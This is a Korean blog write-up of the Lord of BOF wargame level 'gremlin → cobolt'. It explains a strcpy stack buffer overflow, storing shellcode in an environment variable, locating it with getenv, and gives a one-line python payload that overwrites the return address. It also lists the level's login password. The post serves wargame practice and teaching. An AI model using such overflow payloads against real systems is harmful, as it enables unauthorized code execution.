시스템 해킹/LOB

[LOB] gremlin → cobolt

ruming 2021. 2. 20. 21:21

gremlin / hello bof world로 로그인

$bash2 

 

cobolt.c 파일을 확인했다.

buffer를 16 할당받고 인자를 버퍼에 복사해 출력해주는 코드인 것 같다. gremlin 문제와 마찬가지로 strcpy함수때문에 bof 취약점이 발생할 수 있다.

일단 버퍼의 크기가 16바이트이므로 버퍼에 쉘코드는 넣을 수 없다. 환경변수를 이용해 문제를 풀어보자.

 

환경변수 등록 / 해제 방법

export 환경변수이름

unset 환경변수이름

 

환경변수 참고

 

shellcode 환경변수 설정

 

getenv 함수로 쉘 코드의 주소를 구할 것이다.

bfffff07

 

NOP 16byte + SFP 4byte + RET 4byte

16바이트와 SFP를 NOP로 덮고 RET을 환경변수 주소로 채워줄 것이다.

 

./cobolt `python -c 'print"\x90"*20 + "\x07\xff\xff\xbf"'`

공격에 성공했다!

 

 

 

 

'시스템 해킹 > LOB' 카테고리의 다른 글

[LOB] wolfman → darkelf  (0) 2021.02.22
[LOB] orc → wolfman  (0) 2021.02.21
[LOB] goblin → orc  (0) 2021.02.21
[LOB] cobolt → goblin  (0) 2021.02.20
[LOB] gate → gremlin  (0) 2021.02.09